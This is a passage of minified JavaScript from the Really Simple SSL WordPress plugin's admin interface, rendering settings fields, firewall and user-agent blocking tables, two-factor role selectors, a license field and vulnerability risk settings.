rsssl-add-button__button",onClick:e.onClick,disabled:l},l&&(0,s.createElement)(H.default,{name:"loading",color:"grey"}),e.label)))},xs=(0,p.memo)((({id:e,buttonData:l})=>{const{processing:t,rowAction:a}=As();return(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)("button",{className:`button ${l.className} rsssl-action-buttons__button`,onClick:t=>a([e],l.action,l.type,l.reloadFields),disabled:t},l.label))})),Ts=(0,p.memo)((({handleSearch:e,searchableColumns:l})=>{const[t,a]=(0,p.useState)(null);return(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onKeyUp:s=>{clearTimeout(t),a(setTimeout((()=>{e(s.target.value,l)}),500))}})))})),Ds=(0,p.memo)((({ids:e,buttonData:l})=>{const{processing:t,rowAction:a}=As();return(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)("button",{className:`button ${l.className} rsssl-action-buttons__button`,onClick:t=>a(e,l.action,l.type,l.reloadFields),disabled:t},t&&(0,s.createElement)(H.default,{name:"loading",color:"grey"}),l.label))}));t(4144);const Ls=(0,p.memo)((({rowsSelected:e,buttonData:l})=>{const{processing:t,filteredData:a}=As();let n=e.filter((e=>a.some((l=>l.id===e.id))));if(0===n.length)return null;const i=n.map((e=>e.id));return(0,s.createElement)("div",{className:"rsssl-selected-rows-control"},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c._n)("You have selected %d row","You have selected %d rows",n.length,"really-simple-ssl").replace("%d",n.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(s.Fragment,null,l.map(((e,l)=>(0,s.createElement)(Ds,{key:"multiselectButton-"+l,ids:i,buttonData:e})))))))})),Ns=(0,p.memo)((({field:e,controlButton:l,enabled:t})=>{const{filteredData:a,handleSearch:n,dataLoaded:i,fetchData:r,reloadFields:d}=As(),{fetchFieldsData:o}=(0,m.A)(),{selectedSubMenuItem:h}=(0,E.A)(),[v,u]=(0,p.useState)([]),[_,f]=(0,p.useState)(1),[g,Z]=(0,p.useState)(10);(0,p.useEffect)((()=>{i||r(e.action,{})}),[i]),(0,p.useEffect)((()=>{d&&o(h)}),[d]);const y=e.columns.map((({reloadFields:e,name:l,isButton:t,action:a,label:s,className:n,sortable:i,searchable:c,width:r,visible:m,column:d})=>({reloadFields:e,name:l,isButton:t,action:a,label:s,className:n,sortable:i,searchable:c,width:r,visible:m,column:d,selector:e=>e[d]}))),w=y.filter((e=>e.isButton)),k=w.length>0,R=y.filter((e=>e.searchable)).map((e=>e.column));(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");const M=i&&a.length>0?{...a}:[];for(const e in M){const l={...M[e]};if(w.length>0)for(const e of w)l[e.column]=(0,s.createElement)(xs,{id:l.id,buttonData:e});M[e]=l}let F="";return v.length>0&&v.length<g&&(F="rsssl-indeterminate"),v.length===g&&(F="rsssl-all-selected"),(0,s.createElement)("div",{className:"rsssl-datatable-component"},(0,s.createElement)("div",{className:"rsssl-container"},l.show&&(0,s.createElement)(Us,{controlButton:l}),!l.show&&(0,s.createElement)("div",null),(0,s.createElement)(Ts,{handleSearch:n,searchableColumns:R})),e.multiselect_buttons&&v.length>0&&(0,s.createElement)(Ls,{rowsSelected:v,buttonData:e.multiselect_buttons}),(0,s.createElement)(W.default,{className:F,columns:y,data:Object.values(M),dense:!0,pagination:!0,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:k,paginationPerPage:g,onChangePage:f,onChangeRowsPerPage:Z,onSelectedRowsChange:({selectedCount:e,selectedRows:l})=>{let t=[];if(e<g)t=l,u(l);else if(e>=g){let e=a.length-l.length;t=l.slice(0,_*g-e),_>1&&(t=t.slice((_-1)*g)),u(t)}},theme:"really-simple-plugins"}),!t&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Here you can add IP addresses that should never be blocked by region restrictions.","really-simple-ssl")))))}));t(9571);const Os=({field:e})=>{const{clearAllData:l,setProcessing:t}=As(),{updateFieldsData:a,showSavedSettingsNotice:n}=(0,m.A)(),{selectedSubMenuItem:i}=(0,E.A)();let r={show:!0,onClick:async()=>{t(!0);try{await f.Eo("reset_changed_files",{})}catch(e){console.log(e)}finally{n((0,c.__)("File changes have been been reset","really-simple-ssl")),l(),t(!1),a(i)}},label:(0,c.__)("Reset changed files","really-simple-ssl")};return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(Ns,{field:e,controlButton:r,enabled:!0}))},Bs=(0,U.vt)(((e,l)=>({processing:!1,data:[],dataLoaded:!1,user_agent:"",note:"",fetchData:async(l,t)=>{e({processing:!0}),e({dataLoaded:!1});try{const a=await f.Eo(l,{filter:t});a.request_success&&(e({data:a.data}),a.data&&e({dataLoaded:!0}),e({processing:!1}))}catch(l){console.error(l),e({dataLoaded:!1})}finally{e({processing:!1})}},setNote:l=>e({note:l}),setUserAgent:l=>e({user_agent:l}),setDataLoaded:l=>e({dataLoaded:l}),addRow:async(l,t)=>{e({processing:!0});try{(await f.Eo("rsssl_user_agent_add",{user_agent:l,note:t})).request_success&&e({dataLoaded:!1})}catch(e){console.error(e)}finally{e({processing:!1,dataLoaded:!0})}return{success:!0,message:"User-Agent added successfully"}},deleteValue:async l=>{e({processing:!0});try{const t=await f.Eo("rsssl_user_agent_delete",{id:l});if(t.request_success)return e({dataLoaded:!1}),{success:!0,message:t.message}}catch(e){console.error(e)}finally{e({processing:!1,dataLoaded:!1})}}}))),zs=e=>{const{note:l,setNote:t,user_agent:a,setUserAgent:n,dataLoaded:r,addRow:d,fetchData:o}=Bs(),{showSavedSettingsNotice:h}=(0,m.A)(),v=(0,p.useRef)(null),u=(0,p.useRef)(null);async function _(){a.length&&(await d(a,l).then((e=>{console.log(e),e.success?(h(e.message),o("rsssl_user_agent_list")):h(e.message,"error")})),f(),e.onRequestClose())}function f(){n(""),t("")}function g(e){console.log("i pressed a key"+e.key),"Enter"===e.key&&_()}return(0,p.useEffect)((()=>(v.current&&v.current.addEventListener("keypress",g),u.current&&u.current.addEventListener("keypress",g),()=>{v.current&&v.current.removeEventListener("keypress",g),u.current&&u.current.removeEventListener("keypress",g)})),[]),e.isOpen?(0,s.createElement)(i.Modal,{title:(0,c.__)("Block User-Agent","really-simple-ssl"),shouldCloseOnClickOutside:!0,shouldCloseOnEsc:!0,overlayClassName:"rsssl-modal-overlay",className:"rsssl-modal",onRequestClose:e.onRequestClose,onKeyPress:g},(0,s.createElement)("div",{className:"modal-content"},(0,s.createElement)("div",{className:"modal-body",style:{padding:"0.5em"}},(0,s.createElement)("div",{style:{width:"95%",height:"100%",padding:"10px"}},(0,s.createElement)("div",{style:{position:"relative"}},(0,s.createElement)("label",{htmlFor:"user_agent",className:"rsssl-label"},(0,c.__)("User-Agent","really-simple-ssl")),(0,s.createElement)("input",{id:"user_agent",type:"text",value:a,name:"user_agent",onChange:e=>n(e.target.value),style:{width:"100%"},ref:v})),(0,s.createElement)("div",null,(0,s.createElement)("label",{htmlFor:"note",className:"rsssl-label"},(0,c.__)("Notes","really-simple-ssl")),(0,s.createElement)("input",{name:"note",id:"note",type:"text",value:l,onChange:e=>t(e.target.value),style:{width:"100%"},ref:u})))),(0,s.createElement)("div",{className:"modal-footer"},(0,s.createElement)("div",{className:"rsssl-grid-item-footer",style:{display:"flex",justifyContent:"flex-end",alignItems:"center",padding:"1em"}},(0,s.createElement)(i.Button,{isSecondary:!0,onClick:function(){f(),e.onRequestClose()},style:{marginRight:"10px"}},(0,c.__)("Cancel","really-simple-ssl")),(0,s.createElement)(i.Button,{isPrimary:!0,onClick:_},(0,c.__)("Add","really-simple-ssl")))))):null},Ps=e=>{const{data:l,processing:t,dataLoaded:a,fetchData:n,user_agent:i,note:r,deleteValue:d,setDataLoaded:o}=Bs(),{selectedFilter:h,setSelectedFilter:v,activeGroupId:u,getCurrentFilter:_,setProcessingFilter:f}=(0,Q.A)(),g="rsssl-group-filter-user_agents",{fields:E,fieldAlreadyEnabled:Z,getFieldValue:y,setHighLightField:w,getField:k}=(0,m.A)(),[R,M]=(0,p.useState)(!1),[F,b]=(0,p.useState)([]),[C,H]=(0,p.useState)(!1),[V,S]=(0,p.useState)([]),[A,U]=(0,p.useState)(""),[x,T]=(0,p.useState)([]),{showSavedSettingsNotice:D,saveFields:L}=(0,m.A)(),[N,O]=(0,p.useState)(1),[B,z]=(0,p.useState)(10),[P,I]=(0,p.useState)(_(g));let G=y("enable_firewall");(0,p.useEffect)((()=>{const e=_(g);I(void 0===e?"blocked":e),b([])}),[_(g)]),(0,p.useEffect)((()=>{void 0!==P&&((async()=>{o(!1)})(),b([]))}),[P]),(0,p.useEffect)((()=>{if(e.field){const l=e=>({name:e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]});S(e.field.columns.map(l))}}),[e.field]),(0,p.useEffect)((()=>{(async()=>{!a&&G&&await n("rsssl_user_agent_list",P)})()}),[a,G]),(0,p.useEffect)((()=>{L(!1,!1,!0),o(!1)}),[G]);const K=({onClick:e,children:l,className:t})=>(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:!1},l),j=(0,p.useCallback)((e=>{if(Array.isArray(e)){const l=e.map((e=>({id:e.id})));d(l).then((e=>{D(e.message),b([])}))}else d(e).then((e=>{D(e.message)}))}),[d,F,D]),q=(0,p.useCallback)(((e,l)=>(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(K,{onClick:()=>j(e),className:l?"button-primary":"button-red"},l?(0,c.__)("Block","really-simple-ssl"):(0,c.__)("Delete","really-simple-ssl")))),[j]);(0,p.useEffect)((()=>{if(l){const e=Object.entries(l).filter((([e,l])=>Object.values(l).some((e=>(null!=e?e:"").toString().toLowerCase().includes(A.toLowerCase()))))).map((([e,l])=>{var t;return[e,{...l,action:q(l.id,(t=l.deleted_at,!(null===t)))}]})).reduce(((e,[l,t])=>({...e,[l]:t})),{});T(e)}}),[A,l,q]);const Y=(0,p.useCallback)((e=>{const{selectedCount:l,selectedRows:t,allSelected:a,allRowsSelected:s}=e;let n=[];a?(n=t.slice((N-1)*B,N*B),b(n)):b(t)}),[N,B]);return(0,p.useEffect)((()=>{0===F.length&&H(!C)}),[F]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)(zs,{isOpen:R,onRequestClose:()=>{M(!1)},value:i,status:"blocked"}),(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)(ps,{handleOpen:()=>{M(!0)},processing:t,allowedText:(0,c.__)("Block User-Agent","really-simple-ssl"),disabled:!a}),(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onChange:e=>U(e.target.value)})))),F.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",F.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(K,{onClick:()=>j(F),className:"button-red"},(0,c.__)("Delete","really-simple-ssl"))))),(0,s.createElement)(W.default,{columns:V,data:Object.values(x),pagination:!0,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,onSelectedRowsChange:Y,clearSelectedRows:C,paginationPerPage:B,onChangePage:e=>{O(e)},onChangeRowsPerPage:e=>{z(e)},theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}},selectableRows:!0}),!y("enable_firewall")&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Restrict access from specific countries or continents. You can also allow only specific countries.","really-simple-ssl")))))},Is=({field:e})=>{const{fetchRoles:l,roles:t,rolesLoaded:a}=qa(),[n,i]=(0,p.useState)([]),[r,d]=(0,p.useState)([]),{updateField:o,getFieldValue:h,setChangedField:v,getField:u,fieldsLoaded:_,saveFields:f}=(0,m.A)(),[g,E]=(0,p.useState)(!1);let Z=e.id,y=h("login_protection_enabled");(0,p.useEffect)((()=>{E(h("login_protection_enabled")),1===h("login_protection_enabled")&&"two_fa_enabled_roles_totp"===e.id&&(v(e.id,e.value),f(!0,!1))}),[h("login_protection_enabled")]),(0,p.useEffect)((()=>{a||l(e.id)}),[a]),(0,p.useEffect)((()=>{if(e.id===Z){let e=u(Z),l=Array.isArray(e.value)?e.value:[];d(l)}}),[n,u(Z)]),(0,p.useEffect)((()=>{if(e.id===Z){let e=u(Z),l=Array.isArray(e.value)?e.value:[];i(l.map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)}))))}e.value||(v(e.id,e.default),o(e.id,e.default),i(e.default.map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)})))))}),[_]);const w={multiValue:l=>({...l,borderRadius:"10px",backgroundColor:e.id===Z?"#F5CD54":e.id===Z?"#FDF5DC":"default"}),multiValueRemove:(e,l)=>({...e,color:l.isHovered?"initial":e.color,opacity:"0.7",":hover":{backgroundColor:"initial",color:"initial",opacity:"1"}}),menuPortal:e=>({...e,zIndex:30})},k=n.map((e=>e.value));let R=[],M=[...k,...r];return t.forEach((function(e,l){Array.isArray(M)&&M.includes(e.value)?R.splice(l,1):R.push(e)})),(0,s.createElement)("div",{style:{marginTop:"5px"}},(0,s.createElement)(ja.Ay,{isMulti:!0,options:R,onChange:l=>{const t=l.map((e=>e.value));i(l),o(e.id,t),v(e.id,t)},value:n,menuPosition:"fixed",styles:w,isDisabled:!g}),!y&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate Two-Factor Authentication to enable this block.","really-simple-ssl")))))},Gs=e=>{const l=(0,p.useRef)(null),{updateField:t,setChangedField:a,highLightField:n,setHighLightField:o,getFieldValue:f}=(0,m.A)(),[g,Z]=(0,p.useState)(null),{selectedFilter:y,setSelectedFilter:w}=(0,E.A)();(0,p.useEffect)((()=>{const t=(0,cs.A)("anchor"),a=(0,cs.A)("highlightfield");if(Z(t),a&&o(a),a===e.field.id&&l.current&&l.current.scrollIntoView({behavior:"smooth",block:"start"}),"enabled_captcha_provider"===n&&e.fields){let e=document.getElementsByClassName("rsssl-highlight")[0];e&&e.scrollIntoView({behavior:"smooth",block:"start"})}t&&t===e.field.id&&l.current.scrollIntoView({behavior:"smooth",block:"start"})}),[]),(0,p.useEffect)((()=>{k()}),[g]),window.addEventListener("hashchange",(()=>{const t=(0,cs.A)("anchor"),a=(0,cs.A)("highlightfield");Z(t),a&&o(a),a===e.field.id&&l.current&&l.current.scrollIntoView({behavior:"smooth",block:"start"}),t&&t===e.field.id&&l.current.scrollIntoView({behavior:"smooth",block:"start"})}));const k=()=>{g&&g===e.field.id&&l.current.scrollIntoView({behavior:"smooth",block:"start"})},R=l=>{let s=e.field;if(s.pattern){const e=new RegExp(s.pattern,"g"),t=l.match(e);l=t?t.join(""):""}t(s.id,l);let n=!1;if(s.configure_on_activation){s.configure_on_activation.hasOwnProperty("condition")&&e.field.value==s.configure_on_activation.condition&&(n=!0);let l=s.configure_on_activation[0];for(let e in l)n&&l.hasOwnProperty(e)&&t(e,l[e])}a(s.id,l)},M=e=>{let l=e.warning?"red":"black";return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"cmplz-label-text"},e.label),e.tooltip&&(0,s.createElement)(H.default,{name:"info-open",tooltip:e.tooltip,color:l}))};let F=e.field,C=F.value,S=F.disabled,A="rsssl-field-wrap";n===e.field.id&&(A="rsssl-field-wrap rsssl-highlight");let U=[];if(F.options)for(let e in F.options)if(F.options.hasOwnProperty(e)){let l={};l.label=F.options[e],l.value=e,U.push(l)}if(!rsssl_settings.networkwide_active&&F.networkwide_required&&(S=!0,F.comment=(0,s.createElement)(s.Fragment,null,(0,c.__)("This feature is only available networkwide.","really-simple-ssl"),(0,s.createElement)(_.A,{target:"_blank",rel:"noopener noreferrer",text:(0,c.__)("Network settings","really-simple-ssl"),url:rsssl_settings.network_link}))),F.conditionallyDisabled&&(S=!0),!F.visible)return null;if("checkbox"===F.type)return(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(N,{label:M(F),field:F,disabled:S,onChangeHandler:e=>R(e)}),F.comment&&(0,s.createElement)("div",{className:"rsssl-comment",dangerouslySetInnerHTML:{__html:h().sanitize(F.comment)}}));if("hidden"===F.type)return(0,s.createElement)("input",{type:"hidden",value:F.value});if("radio"===F.type)return(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(i.RadioControl,{label:M(F),onChange:e=>R(e),selected:C,options:U}));if("email"===F.type){const t=e.fields.find((e=>"send_verification_email"===e.id)),a=t&&t.disabled;return(0,s.createElement)("div",{className:A,ref:l,style:{position:"relative"}},(0,s.createElement)(i.TextControl,{required:F.required,placeholder:F.placeholder,disabled:S,help:F.comment,label:M(F),onChange:e=>R(e),value:C}),t&&(0,s.createElement)("div",{className:"rsssl-email-verified"},a?(0,s.createElement)(H.default,{name:"circle-check",color:"green"}):(0,s.createElement)(H.default,{name:"circle-times",color:"red"})))}if("captcha_key"===F.type)return(0,s.createElement)("div",{className:A,ref:l,style:{position:"relative"}},(0,s.createElement)(Ss,{field:F,fields:e.fields,label:M(F)}));if("number"===F.type)return(0,s.createElement)("div",{className:A,ref:l,style:{position:"relative"}},(0,s.createElement)(i.__experimentalNumberControl,{required:F.required,placeholder:F.placeholder,className:"number_full",disabled:S,help:F.comment,label:M(F),onChange:e=>R(e),value:C}));if("text"===F.type)return(0,s.createElement)("div",{className:A,ref:l,style:{position:"relative"}},(0,s.createElement)(i.TextControl,{required:F.required,placeholder:F.placeholder,disabled:S,help:F.comment,label:M(F),onChange:e=>R(e),value:C}));if("button"===F.type)return(0,s.createElement)("div",{className:"rsssl-field-button "+A,ref:l},(0,s.createElement)("label",null,F.label),(0,s.createElement)(Ja,{field:F}));if("password"===F.type)return(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(d,{index:e.index,field:F}));if("textarea"===F.type){let e=!1;return"csp_frame_ancestors_urls"===F.id?"disabled"===f("csp_frame_ancestors")&&(e=!0):e=F.disabled,(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(i.TextareaControl,{label:F.label,help:F.comment,value:C,onChange:e=>R(e),disabled:e}))}if("license"===F.type){let t=e.field,a=t.value;return(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(r.A,{index:e.index,field:t,fieldValue:a}))}return"number"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(i.__experimentalNumberControl,{onChange:e=>R(e),help:F.comment,label:F.label,value:C})):"email"===F.type?(0,s.createElement)("div",{className:(void 0).highLightClass,ref:(void 0).scrollAnchor},(0,s.createElement)(i.TextControl,{help:F.comment,label:F.label,onChange:e=>(void 0).onChangeHandler(e),value:C})):"host"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(u.A,{index:e.index,field:e.field})):"select"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(v,{disabled:S,label:M(F),onChangeHandler:e=>R(e),value:C,options:U,field:F})):"support"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(O,null)):"postdropdown"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(ns,{field:e.field})):"permissionspolicy"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(L,{disabled:S,field:e.field,options:U})):"captcha"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Vs,{field:F,label:M(F)})):"learningmode"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(I,{disabled:S,field:e.field})):"riskcomponent"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(K,{field:e.field})):"mixedcontentscan"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(D,{field:e.field})):"vulnerabilitiestable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Y,{field:e.field})):"two_fa_roles"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)("label",{htmlFor:`rsssl-two-fa-dropdown-${F.id}`},M(F)),(0,s.createElement)(Ya,{field:e.field,forcedRoledId:e.field.forced_roles_id,optionalRolesId:e.field.optional_roles_id})):"eventlog-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(ys,{field:e.field,action:e.field.action})):"twofa-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Zs,{field:e.field,action:e.field.action})):"ip-address-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Wa,{field:e.field,action:e.field.action})):"user-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(os,{field:e.field,action:e.field.action})):"file-change-detection"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Os,{field:e.field})):"country-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(us,{field:e.field,action:e.field.action})):"geo-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Rs,{field:e.field,action:e.field.action})):"geo-ip-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Ms,{field:e.field,action:e.field.action})):"blocklist-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(gs,{field:e.field,action:e.field.action})):"user-agents-datatable"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)(Ps,{field:e.field,action:e.field.action})):"roles_dropdown"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)("label",{htmlFor:"rsssl-roles-dropdown-{field.id}"},M(F)),(0,s.createElement)(ws,{field:e.field})):"roles_enabled_dropdown"===F.type?(0,s.createElement)("div",{className:A,ref:l},(0,s.createElement)("label",{htmlFor:"rsssl-roles-dropdown-{field.id}"},M(F)),(0,s.createElement)(Is,{field:e.field})):"notificationtester"===F.type?(0,s.createElement)("div",{className:"rsssl-field-button "+A,ref:l},(0,s.createElement)(is,{field:e.field,labelWrap:M})):"letsencrypt"===F.type?(0,s.createElement)(V,{field:F}):"activate"===F.type?(0,s.createElement)(b,{field:F}):"not found field type "+F.type}},489:(e,l,t)=>{t.d(l,{A:()=>p});var a=t(1609),s=t(6087),n=t(5415),i=t(6975),c=(t(2838),t(5063)),r=t(2389);const m=(0,t(2611).A)((()=>({autoComplete:{fontSize:"12px"}}))),d=({field:e,disabled:l,value:t,options:s,label:n,onChange:i})=>{let d=!Array.isArray(l)&&l;const o=m();return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(c.A,{classes:{input:o.autoComplete,option:o.autoComplete},disabled:d,disablePortal:!0,value:t,id:e.id,options:s,isOptionEqualToValue:(e,l)=>("string"==typeof e.value?e.value.toLowerCase():e.value)===("string"==typeof l.value?l.value.toLowerCase():l.value),getOptionLabel:e=>{if(e&&e.label)return e.label;const l=s.find((l=>l.value===e));return l?l.label:e},onChange:(e,l)=>{let t=l&&l.value?l.value:"";i(t)},renderInput:e=>(0,a.createElement)(r.A,{...e,label:n,margin:"normal",variant:"outlined",fullWidth:!0})}))};var o=t(1621),h=t(4110);const v=(0,o.vt)(((e,l)=>({hosts:[],hostsLoaded:!1,fetchHosts:async l=>{try{const t=await h.Eo("get_hosts",{id:l});if(!t)return void console.error("No response received from the server.");let a=t.hosts;e({hosts:a,hostsLoaded:!0})}catch(e){console.error("Error:",e)}}})));var u=t(7723),_=t(1075);const p=(0,s.memo)((({field:e,showDisabledWhenSaving:l=!0})=>{const{updateField:t,setChangedField:c,saveFields:r,handleNextButtonDisabled:m}=(0,i.A)(),[o,h]=(0,s.useState)(!1),{fetchHosts:p,hosts:f,hostsLoaded:g}=v();(0,s.useEffect)((()=>{g||p()}),[]),(0,s.useEffect)((()=>{m(o)}),[o]);let E=g?f:[],Z=[],y={label:(0,u.__)("Optional - Select your hosting provider.","really-simple-ssl"),value:""};0===e.value.length&&Z.push(y);for(let e in E)if(E.hasOwnProperty(e)){let l={};l.label=E[e].name,l.value=e,Z.push(l)}return(0,a.createElement)(n.A,{theme:_.A},(0,a.createElement)(d,{className:"rsssl-select",field:e,label:e.label,onChange:a=>(async a=>{l&&h(!0),t(e.id,a),c(e.id,a),await r(!0,!1),h(!1)})(a),value:e.value,options:Z,disabled:o}))}))},5035:(e,l,t)=>{t.d(l,{A:()=>d});var a=t(1609),s=t(9684),n=t(4110),i=t(7723),c=t(6975),r=t(5683),m=t(6087);const d=({field:e,isOnboarding:l})=>{const{fields:t,setChangedField:d,updateField:o}=(0,c.A)(),{toggleActivation:h,licenseStatus:v,setLicenseStatus:u,notices:_,setNotices:p,setLoadingState:f}=(0,r.A)();return(0,m.useEffect)((()=>{f()}),[]),(0,m.useEffect)((()=>{n.YA("licenseNotices","refresh").then((e=>e)).then((e=>{u(e.licenseStatus),p(e.notices)}))}),[t]),(0,a.createElement)("div",{className:"components-base-control"},(0,a.createElement)("div",{className:"components-base-control__field"},!l&&(0,a.createElement)("label",{className:"components-base-control__label",htmlFor:e.id},e.label),(0,a.createElement)("div",{className:"rsssl-license-field"},(0,a.createElement)("input",{className:"components-text-control__input",type:"password",id:e.id,value:e.value,onChange:l=>{return t=l.target.value,d(e.id,t),void o(e.id,t);var t}}),!l&&(0,a.createElement)("button",{className:"button button-default",onClick:()=>h(e.value)},"valid"===v&&(0,a.createElement)(a.Fragment,null,(0,i.__)("Deactivate","really-simple-ssl")),"valid"!==v&&(0,a.createElement)(a.Fragment,null,(0,i.__)("Activate","really-simple-ssl"))))),_.map(((e,l)=>(0,a.createElement)(s.A,{key:"task-"+l,index:l,notice:e,highLightField:""}))))}},4449:(e,l,t)=>{t.d(l,{A:()=>m});var a=t(1609),s=t(1621),n=t(4110),i=t(7723),c=t(6535),r=t(6155);const m=(0,s.vt)(((e,l)=>({dummyRiskData:[{id:"force_update",name:"Force Update",value:"l",description:(0,i.__)("Force update the plugin or theme","really-simple-ssl")},{id:"quarantine",name:"Quarantine",value:"m",description:(0,i.__)("Isolates the plugin or theme if no update can be performed","really-simple-ssl")}],riskData:[],riskLevels:{l:1,m:2,h:3,c:4},vulnerabilities:[],processing:!1,dataLoaded:!1,updates:0,HighestRisk:!1,lastChecked:"",vulEnabled:!1,riskNaming:{},vulList:[],setDataLoaded:l=>e({dataLoaded:l}),updateRiskData:async(t,a)=>{if(!l().processing){e({processing:!0}),e((0,c.jM)((e=>{let s=e.riskData.findIndex((e=>e.id===t));e.riskData[s].value=a,e.riskData=l().enforceCascadingRiskLevels(e.riskData)})));try{await n.Eo("vulnerabilities_measures_set",{riskData:l().riskData}),e({dataLoaded:!0,processing:!1})}catch(e){console.log(e)}e({processing:!1})}},enforceCascadingRiskLevels:e=>{if(0===e.length)return e;let t=e.filter((e=>"force_update"===e.id))[0].value,a=e.filter((e=>"quarantine"===e.id))[0].value;t=l().riskLevels.hasOwnProperty(t)?l().riskLevels[t]:5,a=l().riskLevels.hasOwnProperty(a)?l().riskLevels[a]:5;let s=e.findIndex((e=>"quarantine"===e.id));a<t&&(e[s].value=Object.keys(l().riskLevels).find((e=>l().riskLevels[e]===t))),5===t&&(e[s].value="*");let n=t>0?t:0,i=Array.from(Array(n).keys()).map((e=>e));return i=i.map((e=>Object.keys(l().riskLevels).find((t=>l().riskLevels[t]===e)))),e[s].disabledRiskLevels=i,e},fetchFirstRun:async()=>{l().processing||(e({processing:!0}),await n.Eo("vulnerabilities_scan_files"),e({processing:!1}))},fetchVulnerabilities:async()=>{if(l().processing)return;e({processing:!0});let t={};try{const s=await n.Eo("hardening_data",t);let m=[],d=0;s.data.vulList&&(d=s.data.vulnerabilities,m=s.data.vulList,"object"==typeof m&&(m=Object.values(m)),m.forEach((function(e,l){let t=e.update_available?rsssl_settings.plugins_url+"?plugin_status=upgrade":"#settings/vulnerabilities";e.vulnerability_action=(0,a.createElement)("div",{className:"rsssl-action-buttons"},(0,a.createElement)("a",{className:"rsssl-button 